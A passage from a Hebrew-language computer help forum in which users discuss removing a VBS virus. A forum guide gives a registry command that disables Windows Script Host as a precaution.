                          השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                          בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                          לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                          תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                          ר מנותק
                          ר מנותק
                          רנדומלי
                          כתב נערך לאחרונה על ידי
                          #23

                          @מתכנת-חובב
                          תהיה מוכן להסביר לי איך אני מכבה VBS?

                          זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                          מתכנת חובבמ תגובה 1 תגובה אחרונה
                          0
                          • ר רנדומלי

                            @מתכנת-חובב
                            תהיה מוכן להסביר לי איך אני מכבה VBS?

                            זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                            מתכנת חובבמ מנותק
                            מתכנת חובבמ מנותק
                            מתכנת חובב
                            מדריכים
                            כתב נערך לאחרונה על ידי
                            #24

                            @רנדומלי תריץ את זה כמנהל

                            reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                            

                            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                            תגובה 1 תגובה אחרונה
                            2

                            • התחברות

                            • אין לך חשבון עדיין? הרשמה

                            • התחברו או הירשמו כדי לחפש.
                            • פוסט ראשון
                              פוסט אחרון
                            0
                            • חוקי הפורום
                            • פופולרי
                            • לא נפתר
                            • משתמשים
                            • חיפוש גוגל בפורום
                            • צור קשר